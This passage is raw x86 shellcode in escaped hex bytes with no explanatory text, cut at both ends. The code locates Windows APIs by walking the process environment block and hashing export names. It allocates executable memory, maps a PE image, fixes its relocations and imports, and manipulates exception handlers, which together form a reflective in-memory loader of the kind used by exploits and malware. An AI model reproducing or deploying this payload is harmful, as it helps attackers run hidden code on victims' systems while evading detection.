x51\x02\x00\x00\x85\xC0\x0F\x84\x50\x01\x00\x00\x89\x47\x3C\xB9\x79\xA8\x24\x11\xE8\x3C\x02\x00\x00\x85\xC0\x0F\x84\x3B\x01\x00\x00\x89\x47\x40\xB9\x37\xC6\x90\x4F\xE8\x27\x02\x00\x00\x85\xC0\x0F\x84\x26\x01\x00\x00\x89\x47\x44\xB9\x6C\xE7\xFE\x10\xE8\x12\x02\x00\x00\x85\xC0\x0F\x84\x11\x01\x00\x00\x89\x47\x48\xE8\xCF\x01\x00\x00\x8B\x87\x98\x00\x00\x00\x85\xC0\x0F\x84\xFB\x00\x00\x00\xE8\x02\x01\x00\x00\x85\xC0\x0F\x84\xEE\x00\x00\x00\x89\x47\x58\x8D\x8D\x91\x05\x00\x00\xFF\x31\x6A\x40\x68\x00\x10\x00\x00\x51\x6A\x00\xC7\x47\x54\x00\x00\x00\x00\x8D\x4F\x54\x51\x6A\xFF\xFF\x57\x10\x59\x85\xC0\x0F\x85\xB3\x00\x00\x00\x57\x8D\xB5\x95\x05\x00\x00\x8B\x7F\x54\xF3\xA4\x5F\xB8\x3C\x00\x00\x00\x8B\x8F\x94\x00\x00\x00\x03\x4F\x58\x89\xCE\x8B\x11\x39\xD6\x0F\x84\x8C\x00\x00\x00\x2B\x97\x98\x00\x00\x00\x50\x51\x52\x52\xFF\x57\x48\x5A\x59\x85\xC0\x74\x2C\x51\xB9\xA8\x01\x00\x00\x01\xC8\x85\xC9\x59\x74\x06\x8B\x00\x85\xC0\x74\x19\x58\x01\xC2\x50\x31\xC0\x3C\x01\x74\x0A\x8B\x02\x0F\xBA\xE0\x05\x72\x0C\xEB\x05\x80\x3A\x01\x74\x05\x58\x8B\x09\xEB\xB2\x58\x29\xC2\x89\x97\x8C\x00\x00\x00\x6A\x50\x6A\x00\xFF\x17\x85\xC0\x74\x42\x89\x87\x90\x00\x00\x00\xC7\x40\x40\xC2\x14\x00\x00\x6A\x00\x6A\x01\xFF\x77\x54\x6A\x00\x8D\x50\x40\x52\x6A\x00\xFF\xB7\x8C\x00\x00\x00\x50\xFF\x57\x14\x6A\x00\x6A\x00\x6A\x00\xFF\xB7\x90\x00\x00\x00\xFF\x57\x18\x8D\x4F\x5C\x51\xFF\x57\x0C\x8B\x4F\x58\xFF\x57\x3C\x81\xC4\xB4\x00\x00\x00\x61\x31\xC0\xC2\x04\x00\x51\x56\x57\x53\xB9\x08\x00\x00\x00\x51\x8D\x77\x58\x56\x51\xFF\x57\x30\x85\xC0\x0F\x85\x83\x00\x00\x00\x8B\x77\x58\x8B\x9F\xA4\x00\x00\x00\x8B\x04\x1E\x83\xF8\x02\x7C\x6D\x56\xFF\x57\x34\xE8\x6C\x01\x00\x00\x8B\x8F\xA8\x00\x00\x00\x39\xC8\x75\x5A\x8D\x4F\x5C\x51\x56\xFF\x57\x08\x56\xFF\x57\x38\x85\xC0\x74\x3C\x8B\x9F\x9C\x00\x00\x00\x8B\x04\x18\x85\xC0\x74\x2F\x31\xC9\x8B\x9F\xA0\x00\x00\x00\x66\x8B\x0C\x18\x8B\x44\x18\x04\x85\xC0\x74\x1B\x8B\x9F\xB0\x00\x00\x00\x29\xD9\x7C\x11\x01\xC8\xE8\x5F\x01\x00\x00\x8B\x8F\xAC\x00\x00\x00\x39\xC8\x74\x24\xC7\x47\x58\x00\x00\x00\x00\x8D\x4F\x5C\x51\xFF\x57\x0C\x89\xF1\xFF\x57\x3C\x59\x81\xF9\x00\x00\x01\x00\x7F\x0D\x83\xC1\x04\xE9\x5B\xFF\xFF\xFF\x59\x89\xF0\xEB\x02\x31\xC0\x5B\x5F\x5E\x59\xC3\x60\xFF\x57\x44\x89\xC6\x8B\x87\x94\x00\x00\x00\x01\xC6\xFF\x57\x40\x89\xF1\x39\xF0\x77\x14\x8D\x90\x80\x02\x00\x00\x39\xF2\x72\x0A\x29\xC6\x89\xB7\x98\x00\x00\x00\xEB\x06\x8B\x36\x39\xCE\x75\xE2\x61\xC3\x53\x52\x51\x57\x55\x89\xE5\x83\xEC\x18\x89\xCF\x89\xD8\x89\x45\xFC\xE8\x7F\x00\x00\x00\x85\xC0\x74\x6E\x89\x45\xF8\xE8\xF3\x00\x00\x00\x89\x45\xF4\x8B\x45\xFC\x8B\x4D\xF8\xE8\x16\x01\x00\x00\x85\xC0\x74\x54\x89\x45\xF0\x8B\x45\xFC\x8B\x4D\xF8\xE8\x0C\x01\x00\x00\x85\xC0\x74\x42\x89\x45\xEC\x8B\x45\xFC\x8B\x4D\xF8\xE8\x02\x01\x00\x00\x85\xC0\x74\x30\x89\x45\xE8\x8B\x45\xFC\x89\xF9\x8B\x55\xEC\x8B\x5D\xF4\xE8\xB0\x00\x00\x00\x83\xF8\xFF\x74\x21\x89\xC1\x8B\x45\xE8\xE8\xE4\x00\x00\x00\x66\x89\xC2\x8B\x45\xFC\x8B\x4D\xF0\xE8\xDE\x00\x00\x00\x83\xC4\x18\x5D\x5F\x59\x5A\x5B\xC3\x31\xC0\xEB\xF3\x56\x89\xC6\x83\xC6\x3C\x8B\x36\x01\xC6\x66\x81\x3E\x50\x45\x75\x09\x83\xC6\x78\x8B\x36\x01\xF0\x5E\xC3\x31\xC0\xEB\xFA\x56\x51\x57\x89\xC6\x31\xC0\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8\x31\xC9\x8A\x0E\x80\xF9\x00\x74\x05\x01\xC8\x46\xEB\xE9\x5F\x59\x5E\xC3\x56\x57\x52\x89\xC6\x31\xC0\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8\x31\xD2\x8A\x16\x01\xD0\x46\xE2\xEE\x5A\x5F\x5E\xC3\x56\x51\x57\x89\xC6\x31\xC0\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8\x31\xC9\x8A\x0E\x80\xF9\x00\x74\xC6\x01\xC8\x46\x46\xEB\xE8\x5F\x59\x5E\xC3\x83\xC0\x18\x8B\x00\xC3\x57\x56\x51\x31\xFF\x89\xC6\x39\xDF\x74\x19\x8B\x04\xBA\x01\xF0\xE8\x83\xFF\xFF\xFF\x39\xC8\x74\x07\x47\xEB\xEB\x59\x5E\x5F\xC3\x89\xF8\xEB\xF8\xB8\xFF\xFF\xFF\xFF\xEB\xF1\x83\xC1\x1C\x8B\x09\x01\xC8\xC3\x83\xC1\x20\x8B\x09\x01\xC8\xC3\x83\xC1\x24\x8B\x09\x01\xC8\xC3\xD1\xE1\x01\xC8\x66\x8B\x00\xC3\x81\xE2\xFF\xFF\x00\x00\xC1\xE2\x02\x01\xD1\x8B\x09\x01\xC8\xC3\x70\x21\x00\x00\x60\x89\xE0\x81\xEC\x00\x04\x00\x00\xE9\x52\x0D\x00\x00\x5D\x8D\xB4\x24\x00\x02\x00\x00\x89\x06\x31\xFF\x64\x8B\x07\x89\x46\x04\x8D\x55\xC8\x31\xC9\x49\x64\xFF\x37\x56\x55\x51\x52\x52\x64\xFF\x37\x64\x89\x27\x8D\x7D\x9A\x56\x83\xC6\x08\x31\xC9\x8A\x0F\x84\xC9\x74\x30\x47\x8B\x17\x83\xC7\x04\x8B\x1F\x83\xC7\x04\x53\x52\xE8\x05\x0C\x00\x00\x51\x0F\xB6\x0F\x47\x85\xC9\x59\x75\x08\x85\xC0\x0F\x84\xED\x0B\x00\x00\x89\x06\x83\xC6\x04\x49\x85\xC9\x75\xD8\xEB\xC8\x5E\x56\x83\xEC\x1C\x31\xC0\x89\x44\x24\x18\x89\x44\x24\x14\x89\x44\x24\x10\x89\x44\x24\x0C\x89\x44\x24\x08\x64\x8B\x1D\x18\x00\x00\x00\x8B\x5B\x30\x8B\x5B\x0C\x8B\x5B\x14\x8B\x73\x10\x89\xF2\x56\x89\xF7\x83\xC6\x3C\x03\x3E\x5E\x53\x89\xFB\x0F\xB7\x4B\x06\x0F\xB7\x43\x14\x5B\x85\xC9\x0F\x84\xE3\x00\x00\x00\x89\x4C\x24\x04\x57\x83\xC7\x18\x83\xC7\x60\x8B\x0F\x85\xC9\x74\x02\x01\xF1\x89\x4C\x24\x18\x8B\x4F\x04\x89\x4C\x24\x1C\x5F\x01\xC7\x83\xC7\x18\x89\x3C\x24\x89\xF8\x83\xC0\x24\x8B\x00\x25\x00\x00\x00\x20\x85\xC0\x0F\x84\x8C\x00\x00\x00\x89\xF9\x83\xC1\x08\x83\xC7\x0C\x8B\x09\x8B\x3F\x01\xF7\x83\xF9\x0D\x7C\x79\x83\xE9\x0D\x83\xC7\x07\x8B\x44\x24\x14\x85\xC0\x74\x16\x39\xC7\x72\x12\x03\x44\x24\x18\x39\xC7\x73\x0A\x01\xF9\x39\xC1\x76\x59\x29\xC1\x89\xC7\x8D\x44\x24\x0C\x50\xE8\x0D\x0A\x00\x00\x85\xC0\x74\x09\xE8\x7D\x0A\x00\x00\x85\xC0\x75\x06\x47\x49\xE3\x3A\xEB\xC5\x83\xF8\x02\x74\x0D\x8B\x44\x24\x08\x85\xC0\x75\xED\xB8\x01\x00\x00\x00\x89\x44\x24\x08\x56\x8B\x74\x24\x20\x89\x7E\x20\x8B\x44\x24\x14\x89\x46\x24\x8B\x44\x24\x10\x89\x46\x28\x5E\x8B\x44\x24\x08\x83\xF8\x01\x74\xC4\xEB\x40\x8B\x3C\x24\x8B\x4C\x24\x04\x83\xC7\x28\x83\xE9\x01\x85\xC9\x89\x3C\x24\x89\x4C\x24\x04\x0F\x85\x44\xFF\xFF\xFF\x31\xC0\x8B\x1B\x8B\x73\x10\x39\xC6\x74\xF5\x39\xF2\x74\x05\xE9\xEC\xFE\xFF\xFF\x8B\x04\x24\x85\xC0\x75\x09\x83\xC4\x1C\x5E\xE9\x88\x0A\x00\x00\x83\xC4\x1C\x5E\x56\x89\xF2\x89\xF7\x83\xC6\x08\x89\xF2\x83\xC7\x2C\xB9\x06\x00\x00\x00\xF3\xA5\x89\xD7\x8D\xB5\x03\xFD\xFF\xFF\xB9\x06\x00\x00\x00\x89\x37\x83\xC7\x04\x83\xC6\x04\xE2\xF6\x5E\xBA\x40\x00\x00\x00\x52\xBA\x00\x30\x00\x00\x52\xFF\x75\x03\x6A\x00\xFF\x56\x08\x85\xC0\x0F\x84\x53\x08\x00\x00\x89\xC3\x56\x8B\x4D\x03\x8D\x75\x0B\x89\xDF\xF3\xA4\x5E\x89\x5E\x44\x8B\x45\x03\x89\x46\x48\x8B\x4D\x03\x8D\x7D\x0B\x31\xC0\xF3\xAA\x8D\x85\x00\xFB\xFF\xFF\x89\x85\xCF\xF6\xFF\xFF\x8D\x85\x07\xFB\xFF\xFF\x89\x85\xD3\xF6\xFF\xFF\x8D\x85\x38\xFB\xFF\xFF\x89\x85\xDB\xF6\xFF\xFF\x8D\x85\x98\xFA\xFF\xFF\x89\x85\xDF\xF6\xFF\xFF\x8B\x7E\x28\x8D\x85\x17\xFB\xFF\xFF\xF7\xC7\x10\x00\x00\x00\x75\x01\x40\x89\x85\xD7\xF6\xFF\xFF\x55\x8D\xAD\x6A\xF6\xFF\xFF\x8B\x7E\x44\xE8\xBD\x01\x00\x00\x85\xC0\x0F\x85\xE5\x00\x00\x00\xE8\x17\x02\x00\x00\x85\xC0\x0F\x84\xD8\x00\x00\x00\x89\x45\x10\x8B\x7D\x04\x83\xC7\x34\x8B\x3F\x8B\x45\x10\x29\xF8\x89\x45\x14\xE8\x2E\x02\x00\x00\x85\xC0\x0F\x85\xB8\x00\x00\x00\xE8\x83\x02\x00\x00\x85\xC0\x0F\x85\xAB\x00\x00\x00\xE8\x75\x03\x00\x00\x85\xC0\x0F\x85\x9E\x00\x00\x00\xE8\x7A\x03\x00\x00\x85\xC0\x0F\x85\x91\x00\x00\x00\xE8\x23\x04\x00\x00\x85\xC0\x0F\x85\x84\x00\x00\x00\xE8\xE6\x04\x00\x00\x85\xC0\x75\x7B\x8B\x45\x10\x89\x46\x4C\x8B\x45\x0C\x89\x46\x50\x5D\x8B\x45\x07\x89\x46\x54\x8B\x7E\x4C\x8B\x56\x50\x83\xC2\x00\x8B\x12\x85\xD2\x74\x4B\x01\xD7\x8B\x46\x54\x89\xFA\x83\xC2\x10\x8B\x12\x29\xD0\x89\xFA\x83\xC2\x14\x8B\x12\x83\xF8\x00\x7C\x31\x39\xD0\x7D\x2D\x89\xFA\x83\xC2\x1C\x8B\x12\x03\x56\x4C\xC1\xE0\x02\x01\xC2\x8B\x12\x03\x56\x4C\x57\x89\xE7\x8B\x46\x44\x8B\x5E\x48\x53\x50\xB8\x02\x00\x00\x00\x50\xFF\xD2\x89\xFC\x5F\x89\x46\x58\x55\x8D\xAD\x6A\xF6\xFF\xFF\xE8\x4B\x04\x00\x00\xEB\x00\x8B\x7D\x10\x85\xFF\x74\x4A\x8D\x45\x61\x50\xB8\x40\x00\x00\x00\x50\x8B\x45\x28\x50\x8B\x45\x10\x50\xFF\x56\x1C\x85\xC0\x74\x07\x8B\x4D\x28\x31\xC0\xF3\xAA\x8B\x7D\x10\x68\x00\x80\x00\x00\x6A\x00\x57\xFF\x56\x0C\x8B\x7D\x30\x85\xFF\x74\x15\x8B\x4D\x34\x31\xC0\xF3\xAA\x8B\x7D\x30\x68\x00\x80\x00\x00\x6A\x00\x57\xFF\x56\x0C\x5D\xE9\x97\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB8\xFF\xFF\xFF\xFF\xE9\x50\x09\x00\x00\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\x00\x6D\x73\x76\x63\x72\x74\x64\x2E\x64\x6C\x6C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x57\x52\x53\x89\x7D\x00\x89\xFA\x83\xC2\x00\x66\x8B\x1A\x66\x81\xFB\x4D\x5A\x75\x4A\x89\xFA\x83\xC2\x3C\x8B\x1A\x01\xDF\x89\x7D\x04\x89\xFA\x83\xC2\x00\x8B\x1A\x81\xFB\x50\x45\x00\x00\x75\x2F\x89\xFA\x83\xC2\x18\x66\x8B\x1A\x66\x81\xFB\x0B\x01\x75\x20\x89\xFA\x83\xC2\x14\x31\xDB\x66\x8B\x1A\x89\xFA\x83\xC2\x18\x01\xDA\x89\x55\x08\x89\xFA\x83\xC2\x78\x89\x55\x0C\x31\xC0\xEB\x04\x31\xC0\xF7\xD0\x5B\x5A\x5F\xC3\x57\x52\x53\x8B\x7D\x04\x83\xC7\x50\x8B\x1F\x89\x5D\x28\x8B\x7D\x04\x83\xC7\x34\x8B\x17\x6A\x40\x68\x00\x30\x00\x00\x53\x52\xFF\x56\x08\x85\xC0\x75\x0D\x6A\x40\x68\x00\x30\x00\x00\x53\x6A\x00\xFF\x56\x08\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x8B\x76\x44\x8B\x7D\x10\x8B\x5D\x04\x83\xC3\x54\x8B\x0B\xF3\xA4\x5E\x8B\x7D\x04\x83\xC7\x06\x31\xDB\x66\x8B\x1F\x31\xD2\x39\xD3\x74\x2E\xB8\x28\x00\x00\x00\x52\xF7\xE2\x5A\x03\x45\x08\x56\x8B\x76\x44\x89\xC1\x83\xC1\x14\x03\x31\x8B\x7D\x10\x89\xC1\x83\xC1\x0C\x03\x39\x89\xC1\x83\xC1\x10\x8B\x09\xF3\xA4\x5E\x42\xEB\xCE\x31\xC0\xEB\x04\x31\xC0\xF7\xD0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x8B\x7D\x10\xE8\xF4\xFE\xFF\xFF\x85\xC0\x0F\x85\xDE\x00\x00\x00\xE8\x40\x03\x00\x00\x85\xC0\x0F\x85\xD1\x00\x00\x00\x8B\x7D\x00\xB8\x08\x00\x00\x00\xBA\x01\x00\x00\x00\xF7\xE2\x8B\x55\x0C\x01\xC2\x83\xC2\x00\x8B\x1A\x01\xFB\x89\x5D\x18\x39\xFB\x0F\x84\xB1\x00\x00\x00\x89\xD8\x83\xC0\x10\x8B\x00\x85\xC0\x0F\x84\xA2\x00\x00\x00\x8B\x45\x00\x89\xDA\x83\xC2\x0C\x03\x02\x50\xFF\x56\x10\x85\xC0\x0F\x84\x86\x00\x00\x00\x89\x45\x24\x89\xDA\x83\xC2\x00\x8B\x7D\x00\x03\x3A\x89\x7D\x1C\x89\xDA\x83\xC2\x10\x8B\x7D\x00\x03\x3A\x89\x7D\x20\x8B\x55\x1C\x8B\x12\x85\xD2\x74\x58\x89\xD7\x81\xE7\x00\x00\x00\x80\x74\x0A\x89\xD7\x81\xE7\xFF\xFF\x00\x00\xEB\x08\x8B\x7D\x00\x01\xD7\x83\xC7\x02\x57\x8B\x7D\x24\x57\xFF\x56\x14\x85\xC0\x74\x38\x8B\x55\x20\x89\x02\xE8\xCD\x03\x00\x00\x85\xC0\x74\x0E\xE8\x88\x03\x00\x00\x85\xC0\x75\x05\xE8\x13\x03\x00\x00\x8B\x55\x1C\x83\xC2\x04\x89\x55\x1C\x8B\x55\x20\x83\xC2\x04\x89\x55\x20\xEB\x9F\x83\xC3\x14\xE9\x55\xFF\xFF\xFF\x31\xC0\xF7\xD0\xEB\x02\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x8B\x7D\x04\x83\xC7\x34\x8B\x55\x10\x89\x17\x31\xC0\x5A\x5F\xC3\x57\x52\x53\x51\x8B\x55\x14\x85\xD2\x0F\x84\xA0\x00\x00\x00\xB8\x08\x00\x00\x00\xBA\x05\x00\x00\x00\xF7\xE2\x8B\x55\x0C\x01\xC2\x89\xD7\x83\xC7\x04\x8B\x3F\x85\xFF\x74\x7E\x89\xD7\x83\xC7\x00\x8B\x3F\x85\xFF\x74\x73\x8B\x55\x10\x01\xFA\x89\xD7\x83\xC7\x04\x8B\x3F\x85\xFF\x74\x69\x83\xEF\x08\xD1\xEF\x31\xC9\x39\xF9\x74\x4D\x89\xD3\x83\xC3\x08\x89\xC8\xD1\xE0\x01\xC3\xC7\x45\x2C\x00\x00\x00\x00\x66\x8B\x03\x66\x25\x00\xF0\x66\xC1\xE8\x0C\x66\x83\xF8\x00\x74\x27\x66\x83\xF8\x03\x75\x21\x89\xD0\x83\xC0\x00\x8B\x00\x89\x45\x2C\x31\xC0\x66\x8B\x03\x66\x25\xFF\x0F\x01\x45\x2C\x8B\x45\x10\x03\x45\x2C\x8B\x5D\x14\x01\x18\x41\xEB\xAF\x89\xD7\x83\xC7\x04\x8B\x3F\x01\xFA\xEB\x92\x31\xC0\xF7\xD0\xEB\x02\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x8B\x7D\x04\x83\xC7\x06\x31\xDB\x66\x8B\x1F\x31\xD2\x39\xD3\x0F\x84\x92\x00\x00\x00\xB8\x28\x00\x00\x00\x52\xF7\xE2\x5A\x03\x45\x08\x89\xC7\x83\xC7\x24\x8B\x3F\xC7\x45\x5D\x00\x00\x00\x00\xF7\xC7\x00\x00\x00\x02\x75\x64\xF7\xC7\x00\x00\x00\x40\x74\x07\xC7\x45\x5D\x02\x00\x00\x00\xF7\xC7\x00\x00\x00\x80\x74\x07\xC7\x45\x5D\x04\x00\x00\x00\xF7\xC7\x00\x00\x00\x20\x74\x1A\x83\x7D\x5D\x02\x75\x07\xC7\x45\x5D\x20\x00\x00\x00\x83\x7D\x5D\x04\x75\x07\xC7\x45\x5D\x40\x00\x00\x00\x8B\x7D\x10\x89\xC1\x83\xC1\x0C\x03\x39\x89\xC1\x83\xC1\x08\x8B\x09\x52\x8D\x45\x61\x50\x8B\x45\x5D\x50\x51\x57\xFF\x56\x1C\x5A\x85\xC0\x74\x06\x42\xE9\x6C\xFF\xFF\xFF\x31\xC0\xF7\xD0\xEB\x02\x31\xC0\x59\x5B\x5A\x5F\xC3\x52\x57\x8B\x55\x10\x8B\x7D\x04\x83\xC7\x28\x8B\x3F\x01\xFA\x6A\x00\x6A\x00\x8B\x7D\x10\x57\xFF\xD2\x31\xC0\x5F\x5A\xC3\x52\x57\x8B\x55\x10\x8B\x7D\x04\x83\xC7\x28\x8B\x3F\x01\xFA\x6A\x00\x6A\x01\x8B\x7D\x10\x57\xFF\xD2\x31\xC0\x5F\x5A\xC3\x39\xEC\x7D\x79\x57\x56\x53\x89\xE6\x83\xC6\x0C\x55\x6A\x00\x89\xE3\x51\x52\x89\xE9\x29\xF1\x83\xF9\x04\x7C\x5A\x50\x52\x53\xB8\x0F\x00\x00\x00\x6B\xC0\x04\x39\xC8\x7D\x02\x89\xC1\xBA\x00\x00\x00\x00\x89\xC8\xBB\x04\x00\x00\x00\xF7\xFB\x48\x6A\x00\x83\xF8\x00\x75\xF8\x01\xCC\x5B\x5A\x58\x89\xE5\x89\xE7\x29\xCF\x89\xFC\xF3\xA4\x89\x23\x8B\x4B\xFC\x8B\x53\xF8\xC7\x43\xFC\x00\x00\x00\x00\xC7\x43\xF8\x00\x00\x00\x00\xC7\x04\x24\xFF\xFF\xFF\xFF\xBE\xEE\xEE\xEE\xEE\xFF\xE0\x59\x59\x5D\x5D\x5B\x5E\x5F\xFF\xE0\x5B\x89\xE1\x2B\x4D\x08\x83\xE9\x04\x89\xEC\x83\xC4\x20\x01\xCC\x8B\x5D\x10\x8B\x75\x14\x8B\x7D\x18\x8B\x4D\x1C\x8B\x6D\x0C\xFF\xE1\x00\x00\x00\x00\x57\x52\x53\x51\xB8\x08\x00\x00\x00\xBA\x0C\x00\x00\x00\xF7\xE2\x8B\x55\x0C\x01\xC2\x83\xC2\x04\x8B\x1A\xC1\xEB\x02\xB8\x0A\x00\x00\x00\xF7\xE3\x89\x45\x34\x6A\x40\x68\x00\x30\x00\x00\x50\x6A\x00\xFF\x56\x08\x85\xC0\x74\x4B\x89\x45\x30\x8B\x46\x20\x8B\x7D\x65\x83\xC7\x03\x89\x07\x8B\x46\x28\xA9\x02\x00\x00\x00\x74\x18\x8B\x45\x6D\x8B\x5D\x71\x89\x03\x8B\x5E\x24\x8B\x7D\x71\x29\xDF\x8B\x5D\x69\x43\x89\x3B\xEB\x09\x8B\x45\x6D\x8B\x7D\x69\x47\x89\x07\x8B\x46\x28\xA9\x01\x00\x00\x00\x74\x0E\x8B\x7D\x69\xC6\x07\xBF\xEB\x06\x31\xC0\xF7\xD0\xEB\x02\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x50\x8B\x7D\x30\x8B\x45\x38\x01\xC7\x89\xEE\x83\xC6\x3C\xB9\x0A\x00\x00\x00\xF3\xA4\x8B\x7D\x30\x8B\x45\x38\x01\xC7\x83\xC7\x00\x47\x8B\x55\x20\x8B\x1A\x89\x1F\x8B\x75\x75\x8B\x7D\x30\x8B\x45\x38\x01\xC7\x83\xC7\x05\x47\x83\xC7\x04\x29\xFE\x8B\x7D\x30\x8B\x45\x38\x01\xC7\x83\xC7\x05\x47\x89\x37\x8B\x7D\x30\x8B\x45\x38\x01\xC7\x8B\x75\x20\x89\x3E\x8B\x45\x38\x83\xC0\x0A\x89\x45\x38\x58\x5E\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x8B\x7D\x00\x89\xDA\x83\xC2\x0C\x03\x3A\x89\xE9\x83\xC1\x46\x57\x51\xFF\x56\x18\x85\xC0\x74\x12\x89\xE9\x83\xC1\x51\x57\x51\xFF\x56\x18\x85\xC0\x74\x04\x31\xC0\xEB\x07\xB8\x01\x00\x00\x00\xEB\x00\x5E\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x8B\x7D\x24\x89\xFA\x83\xC2\x00\x66\x8B\x1A\x66\x81\xFB\x4D\x5A\x75\x65\x89\xFA\x83\xC2\x3C\x8B\x1A\x01\xDF\x89\xFA\x83\xC2\x00\x8B\x1A\x81\xFB\x50\x45\x00\x00\x75\x4D\x89\xFE\x83\xC6\x14\x31\xDB\x66\x8B\x1E\x89\xFE\x83\xC6\x18\x01\xDE\x89\xFB\x83\xC3\x06\x31\xC9\x66\x8B\x0B\x31\xD2\x89\xF3\x83\xC3\x0C\x8B\x7D\x24\x03\x3B\x39\xF8\x7C\x1A\x89\xF3\x83\xC3\x08\x03\x3B\x39\xF8\x7D\x0F\x89\xF3\x83\xC3\x24\x8B\x1B\xF7\xC3\x00\x00\x00\x20\x75\x0C\x83\xC6\x28\x42\x39\xCA\x7C\xD0\x31\xC0\xEB\x07\xB8\x01\x00\x00\x00\xEB\x00\x5E\x59\x5B\x5A\x5F\xC3\xEB\x18\x6A\x0B\xEB\x16\x6A\x0C\xEB\x12\x6A\x0D\xEB\x0E\x6A\x0E\xEB\x0A\x6A\x0F\xEB\x06\x6A\x10\xEB\x02\xEB\x76\x58\x8B\x04\x86\x56\x57\x53\x55\x89\xF3\x89\xE6\x83\xC6\x14\xB9\x40\x00\x00\x00\x29\xCC\x89\xE7\xF3\xA4\x89\xE5\xE8\x00\x00\x00\x00\x5F\x89\xDE\x8B\x5E\x28\x50\x8D\x47\x3C\xF7\xC3\x10\x00\x00\x00\x75\x01\x40\xF7\xC3\x02\x00\x00\x00\x75\x04\x89\xC7\xEB\x0A\x8D\x7F\x51\x89\x07\x8B\x46\x24\x29\xC7\x58\xF7\xC3\x01\x00\x00\x00\x8B\x5E\x20\x53\x74\x02\xEB\x02\x89\xFE\xFF\xE0\x5B\x8B\x5D\x44\x8B\x7D\x48\x8B\x75\x4C\x8B\x4D\x50\x8B\x6D\x40\x83\xC4\x54\xFF\xE1\x00\x00\x00\x00\xE9\x52\x01\x00\x00\x55\x89\xE5\x53\x56\x51\x8B\x4D\x10\x0F\xB6\x01\x85\xC0\x74\x2C\x8B\x75\x08\x85\xF6\x8B\x75\x0C\x74\x02\x29\xC6\x0F\xB6\x06\x3C\xFF\x75\x14\x0F\xB6\x59\x01\x46\x0F\xB6\x06\x39\xD8\x72\x08\x0F\xB6\x59\x02\x39\xD8\x76\x09\x8D\x49\x03\xEB\xCD\x31\xC0\xEB\x03\x31\xC0\x40\x59\x5E\x5B\x89\xEC\x5D\xC2\x0C\x00\x8D\x85\x44\xFE\xFF\xFF\x50\x57\x31\xC0\x50\xE8\xA4\xFF\xFF\xFF\x85\xC0\x74\x49\x51\x8B\x4C\x24\x08\x31\xC0\x89\x41\x04\x0F\xB6\x47\x01\x24\x01\x89\xC1\x0F\xB6\x47\x01\x24\x10\x09\xC1\x0F\xB6\x47\x01\x3C\xD0\x77\x1D\x80\xC9\x02\x3C\x30\x72\x16\x51\x3C\x70\x72\x05\x8B\x4F\x02\xEB\x04\x0F\xBE\x4F\x02\x8B\x44\x24\x0C\x89\x48\x04\x59\x8B\x44\x24\x08\x89\x08\x59\x31\xC0\x40\xC2\x04\x00\x02\x26\x27\x03\x66\x67\x06\xA6\xA7\x02\xE6\xE7\x02\x16\x17\x03\x56\x57\x06\x96\x97\x02\xD6\xD7\x00\x8D\x85\xA6\xFE\xFF\xFF\x50\x57\x31\xC0\x40\x50\xE8\x2A\xFF\xFF\xFF\x85\xC0\x74\x07\xB8\x02\x00\x00\x00\xEB\x2C\x8D\x85\xC2\xFE\xFF\xFF\x50\x57\x31\xC0\x40\x50\xE8\x0E\xFF\xFF\xFF\x85\xC0\x74\x07\xB8\x01\x00\x00\x00\xEB\x10\x8D\x47\xFB\x8A\x00\x3C\xE8\xB8\x01\x00\x00\x00\x74\x02\x31\xC0\xC3\x02\x10\x13\x03\x14\x14\x02\x16\x17\x03\x50\x53\x04\x54\x54\x03\x55\x57\x06\x90\x93\x06\x95\x97\x02\xD0\xD7\x00\x06\x15\x15\x02\x18\x1B\x03\x1C\x1C\x06\x1D\x1D\x02\x1E\x1F\x03\x58\x5B\x04\x5C\x5C\x03\x5D\x5F\x07\x94\x94\x06\x98\x9B\x07\x9C\x9C\x06\x9D\x9F\x02\xD8\xDF\x00\xE9\xCF\x00\x00\x00\x5E\xE9\xC9\x00\x00\x00\x31\xC0\x60\xB0\x18\x64\x8B\x18\x8B\x5B\x30\x8B\x5B\x0C\x8B\x5B\x14\x8B\x73\x28\x8B\x6B\x10\x85\xED\x0F\x84\x82\x00\x00\x00\x31\xD2\xC1\xC2\x05\x66\xAD\x0C\x20\x30\xC2\x66\x83\x3E\x00\x75\xF1\x8B\x1B\x3B\x54\x24\x24\x75\xD9\x8B\x44\x24\x28\x85\xC0\x75\x04\x89\xE8\xEB\x59\x8B\x7D\x3C\x01\xEF\x8B\x7F\x78\x01\xEF\x39\xEF\x74\x4F\x8B\x4F\x18\x85\xC9\x74\x48\x8B\x57\x1C\x01\xEA\x8B\x5F\x20\x01\xEB\x8B\x7F\x24\x01\xEF\x89\x54\x24\x24\x8B\x33\x01\xEE\x31\xD2\xC1\xC2\x05\xAC\x0C\x20\x30\xC2\x80\x3E\x00\x75\xF3\x3B\x54\x24\x28\x74\x0A\x83\xC7\x02\x83\xC3\x04\xE2\xDF\xEB\x12\x0F\xB7\x17\xC1\xE2\x02\x03\x54\x24\x24\x8B\x02\x01\xE8\x89\x44\x24\x1C\x61\xC2\x08\x00\x06\xDF\xB0\x2C\x51\x33\x8A\x8D\xA4\x00\x78\x95\x27\x85\x00\x3B\x00\xA1\xB4\x00\xDB\xB6\xB6\xE5\x00\xC4\x22\x07\xE2\x00\x82\x5A\x15\x4A\x00\x00\x31\xC0\x8B\x4E\x04\x64\x89\x08\xEB\x04\x8B\x64\x24\x08\x83\xC4\x10\x5D\x5E\x31\xC0\x64\x8F\x00\x8B\x26\x89\x44\x24\x1C\x31\xC0\x8D\x4D\x00\x8D\x5D\xFB\